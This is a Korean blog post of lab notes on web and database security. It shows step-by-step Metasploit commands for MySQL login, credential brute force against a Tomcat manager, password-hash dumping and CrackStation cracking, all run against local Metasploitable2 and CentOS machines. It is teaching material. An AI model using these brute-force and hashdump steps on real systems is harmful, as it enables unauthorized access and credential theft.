01. Metasploitable2 설치
- metasploitable2는 취약 서버(다양한 취약점을 가지고 있음)로 실습에서 사용하기 위해 설치
- login 정보
- login: msfadmin
- password: msfadmin
- root 사용자(관리자 mode)
- login: root
- password: msfadmin
02. Kali-Linux를 통한 Port Scanning
1) 분석 서버의 ip 주소 확인
metasploitable 2의 ip 주소는 192.168.56.133 임을 확인할 수 있음
CentOS7(Server)의 ip 주소는 192.168.56.131 임을 알 수 있음
2) port scanning
- 칼리 리눅스에 root 계정으로 로그인 후, nmap 명령어를 사용해 분석 대상 서버를 port scanning 할 수 있음
03. Database Server - MYSQL in CentOS
1) DB 언어
- DDL(Data Definition Language)
- DML(Data Manipulation Language)
- DCL(Data Control Language)
2) mysql 접속
# mysql -p mysql
2) mysql root 사용자 비밀번호 설정
select host, user,password from user; // 사용자 정보 확인
root 사용자의 password가 null임을 확인할 수 있음
→ 엄청난 취약점
따라서 비밀번호를 설정해주어야 함
update user set password=password('123456') where user'root';
flush privileges;
조건절을 활용하여 root의 비밀번호 설정
root 사용자의 비밀번호가 update 된 것을 확인할 수 있음
but, 비밀번호에 대한 암호화가 동일하게 적용되어
모든 비밀번호의 값이 같게 설정된 것을 확인할 수 있음
crack station을 통해 원래 비밀번호를 알아 낼 수 있음
4) hash algorithm
- /etc 안의 shadow 파일 확인
# cd /etc
# vi shadow
다음과 같이 test 계정의 password가 암호화 되어 있는 것을 확인할 수 있음
test:
$6 // Hash Type($1: MD5, $2: Bolwfish, $5: SHA-256, $5: SHA-512)
$Kkwvm9V59STZrGHk // Salt: Salt 값에 따라 동일한 비밀번호라도 암호화 된 비밀번호는 완전히 달라짐
$itQK1TwatoPCIVF5nRb43ZUsU2HQxyBWAzqY4/.m9L67Fhu7yvZV8IxDQiMV7EokWJY28DjQdIL7NpKHIYwXs.::0:99999:7:::
5) mysql db에 사용자 추가 및 md5 암호 설정
insert into user(host, user, password) values('localhost','korea',password('123456'));
select host, user, password from user;
사용자가 추가되었음을 확인
update user set password=password(md5('123456')) where user='korea';
select host, user, password from user;
암호화가 다르기 때문에 동일한 내용의 비밀번호라도 다르게 저장된 것을 확인할 수 있음
crack이 될 수도 있고 안 될수도 있는데 현재 잘 되지 않는 것을 확인할 수 있음
04. DB in Metasploitable2 공격 실습
1) mysql 접속 후 host, user, password 확인
- 과정은 CentOS7과 동일하므로 생략
- root 사용자의 비밀번호가 설정되어 있지 않을 경우 비밀번호를 설정해주어야 함
2) msfconsole로 분석
- msfconsole: meta exploitable framework
목표: 데이터 베이스를 scanning 해서 침투해보기
3) mysql version scanning
msf6> use auxiliary/scanner/mysql/mysql_version
scan 할 수 있는 대부분 명령어들은 auxiliary에 들어있다고 보면 된다고 함
msf6 auxiliary(scanner/mysql/mysql_version)> set rhosts 192.168.56.133
msf6 auxiliary(scanner/mysql/mysql_version)> run
remote host가 공격 대상인 metasploitable2를 가리키게 되고 run 하면 실행할 수 있음
port: 3306
run: mysql, ubuntu 기반
run을 함으로써 위와 같은 정보를 얻을 수 있음
4) username/password 확인
- mysql의 계정과 비밀번호를 이미 안다는 가정 하에 진행 (실제로는 brute-force 공격 등을 통해 알아냄)
- username: root
- password: 123456
msf6 auxiliary(scanner/mysql/mysql_version)> use auxiliary/admin/mysql/mysql_sql
msf6 auxiliary(admin/mysql/mysql_sql)> set rhosts 192.168.56.133 // 공격 대상
msf6 auxiliary(admin/mysql/mysql_sql)> set username root // username
msf6 auxiliary(admin/mysql/mysql_sql)> set password 123456 // password
msf6 auxiliary(admin/mysql/mysql_sql)> run
성공했음을 확인할 수 있음
5) DB 침투 - login
msf6> use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login)> set rhosts 192.168.56.133 // 공격 대상
msf6 auxiliary(scanner/mysql/mysql_login)> set username root // username
msf6 auxiliary(scanner/mysql/mysql_login)> set password 123456 // password
msf6 auxiliary(scanner/mysql/mysql_login)> run
* No active DB -- 부분은 분석에 있어 잘못된 것은 아니지만 msf는 모든 처리를 DB(postgresql)에 저장하는데
그걸 실행 안 해서 뜨는 문장이라고 한다 이를 해결하려면 다음과 같이 명령어를 입력하면 된다고 함
# service postgresql restart
# msfdb init
다음과 같이 입력 후 아까와 같은 과정을 다시 확인해 보면 됨
아까와 다르게 No Active DB ~부분이 사라진 것을 확인할 수 있음
6) DB 침투 - hashdump
- 데이터 베이스의 비밀번호와 같은 것들을 dumping 하는 것
msf6> use auxiliary/scanner/mysql/mysql_hashdump
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set rhosts 192.168.56.133 // 공격 대상
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set username root // username
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set password 123456 // password
msf6 auxiliary(scanner/mysql/mysql_hashdump)> run
DB내에 저장된 user의 내용이 모두 보이는 것을 확인할 수 있음
crackstation에 root의 비밀번호를 입력하면 원래의 비밀번호를 알아낼 수 있음
7) mysql in metasploitable2에 user 추가 후 dump
insert into user(host,user,password) value('%','korea',password('123456'));
flush privileges;
select host,user,password from user;
추가가 된 것을 확인할 수 있음
Kali Linux에서 다시 run을 해보면 추가한 계정에 대한 user와 password가 보임
msf6> use auxiliary/scanner/mysql/mysql_hashdump
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set rhosts 192.168.56.133 // 공격 대상
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set username korea // username
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set password 123456 // password
msf6 auxiliary(scanner/mysql/mysql_hashdump)> run
이번에는 추가한 계정으로 다시 설정을 변경해 줌
하지만 에러가 발생하는 것을 확인할 수 있음
grant all privileges on *.* to 'korea'@'%' identified by '123456';
flush privileges;
위와 같은 문제는 유저 권한 설정을 변경하면 해결할 수 있음
다음과 같이 해당 유저에게 모든 db 및 테이블에 접근권한(외부에서의 접근) 설정을 주면 됨
host 설정 (해당 DB 접근에 대한 권한 설정)
> localhost: 내 시스템에서만 접근 가능. 즉, 웹 서버와 데이터 베이스끼리만 접근 가능
> %: 외부에서 누구나 DB 접근 가능(취약점이 될 수 있음) 하지만 내부에서 접근 불가능
> 192.168.56.133(특정 주소): 특정 주소의 host만 접근 가능
> 192.168.56.%(특정 주소의 하위 클래스): 하위 클래스들 모두 접근 가능
권한을 준 후 다시 Kali Linux에서 run 한 결과 dumping이 되는 것을 확인 가능
insert into user(host,user,password) value('localhost','korea1',password('123456'));
flush privileges;
grant all privileges on *.* to 'korea1'@'localhost' identified by '123456';
flush privileges;
이번에는 host가 localhost인 user를 추가
msf6> use auxiliary/scanner/mysql/mysql_hashdump
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set rhosts 192.168.56.133 // 공격 대상
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set username korea1 // username
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set password 123456 // password
msf6 auxiliary(scanner/mysql/mysql_hashdump)> run
접근이 막힌 것을 확인할 수 있음
localhost로 권한을 주었기 때문에 외부에서 접근할 수 없는 것임
05. brute force 공격 실습
1) tomcat에서 실습
msf6> use auxiliary/scanner/http/tomcat_mgr_login
톰캣 기본 관리자 페이지에서 기본으로 사용되는 몇 가지의 취약한 계정 정보를 대입해 알아내는 스캔 도구
msf6 auxiliary(scanner/http/tomcat_mgr_login)> set rhosts 192.168.56.133 // 공격 대상
msf6 auxiliary(scanner/http/tomcat_mgr_login)> set username tomcat // username
msf6 auxiliary(scanner/http/tomcat_mgr_login)> set password tomcat // password
msf6 auxiliary(scanner/http/tomcat_mgr_login)> set rport 8180 // 포트도 지정해야 함
위와 같이 지정해 줌
우선은 username과 password를 안다는 가정하에 진행하여 실행해 볼 것임
msf6 auxiliary(scanner/http/tomcat_mgr_login)> set stop_on_success true // 성공할 경우 거기서 멈춤
msf6 auxiliary(scanner/http/tomcat_mgr_login)> run // 실행시킴
Login Successful을 확인할 수 있음
msf6 auxiliary(scanner/http/tomcat_mgr_login)> vi id.txt // 많은 아이디가 저장된 파일을 생성
msf6 auxiliary(scanner/http/tomcat_mgr_login)> vi pass.txt // 많은 비밀번호가 저장된 파일을 생성
msf6 auxiliary(scanner/http/tomcat_mgr_login)> set user_file id.txt // 아이디를 id.txt에 있는 아이디들로 하나하나 대응시켜보도록 파일 매치
msf6 auxiliary(scanner/http/tomcat_mgr_login)> set userpass_file pass.txt // 비밀번호를 pass.txt에 있는 비밀번호들로 하나하나 대응시켜보도록 파일 매치
msf6 auxiliary(scanner/http/tomcat_mgr_login)> run // 실행시킴
무차별 대입 공격을 위해 임의적으로 id.txt와 pass.txt와 같은 사전 파일들을 만들어야 하며,
내용은 다음과 같이 만들어 보았음
만들어진 파일들을 바탕으로 아래 사진과 같이 brute force 공격을 하여
로그인에 성공할 수 있음
2) DB 서버에서 실습
아까 생성한 사전 파일을 활용하기 위해 CentOS mysql에
host가 % 이고, username이 korea7이며 비밀번호가 123456인 user를 추가
msf6> use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login)> set rhosts 192.168.56.131
msf6 auxiliary(scanner/mysql/mysql_login)> set user_file id.txt
msf6 auxiliary(scanner/mysql/mysql_login)> set userpass_file pass.txt
msf6 auxiliary(scanner/mysql/mysql_login)> set stop_on_success true
msf6 auxiliary(scanner/mysql/mysql_login)> run
성공한 것을 확인할 수 있음
계정 정보를 찾았으니 다음은 hashdump 진행
msf6> use auxiliary/scanner/mysql/mysql_hashdump
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set rhosts 192.168.56.131 // 공격 대상
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set username korea7 // username
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set password 123456 // password
msf6 auxiliary(scanner/mysql/mysql_hashdump)> run
위에서 했던 hashdump 실습과 동일하게 진행된 것을 확인할 수 있음
'Hacking Tech > Web hacking' 카테고리의 다른 글
[웹보안] Proxy 및 다양한 Scanning Tools (0) | 2022.04.04 |
---|---|
[웹보안] Web/DB Server (0) | 2022.03.27 |
[웹보안] 웹 보안 기초 이론 정리 (0) | 2022.03.27 |
[Dreamhack] Background: Non-Relational DBMS (0) | 2022.03.11 |
[Dreamhack] ServerSide: SQL Injection (0) | 2022.03.08 |